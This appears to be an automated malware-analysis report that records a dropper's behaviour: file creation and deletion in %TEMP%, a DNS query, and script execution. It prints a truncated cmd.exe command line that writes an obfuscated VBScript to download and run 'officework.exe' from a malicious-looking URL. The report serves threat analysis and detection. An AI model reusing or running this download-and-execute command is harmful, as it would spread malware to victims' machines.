Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c cd %TEMP% & @ECHO R8z= "http://virtualcreditcards.online/msoffice/officework.exe">>W2d.VBS &@ECHO Q5d = S6n("TZ\WKH[H5L_L")>>W2d.VBS &@ECHO Set B9q = CreateObject(S6n("TZ_TS95_TSO[[W"))>>W2d...
Modifies file system
Creates the following files
- %TEMP%\w2d.vbs
Deletes the following files
- %TEMP%\w2d.vbs
Network activity
UDP
- DNS ASK vi######reditcards.online
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "%TEMP%\W2d.VBS"
- '<SYSTEM32>\cmd.exe' /c cd %TEMP% & @ECHO R8z= "http://virtualcreditcards.online/msoffice/officework.exe">>W2d.VBS &@ECHO Q5d = S6n("TZ\WKH[H5L_L")>>W2d.VBS &@ECHO Set B9q = CreateObject(S6n("TZ_TS95_TSO[[W"))>>W2d...' (with hidden window)
Executes the following
- '<SYSTEM32>\timeout.exe' 13
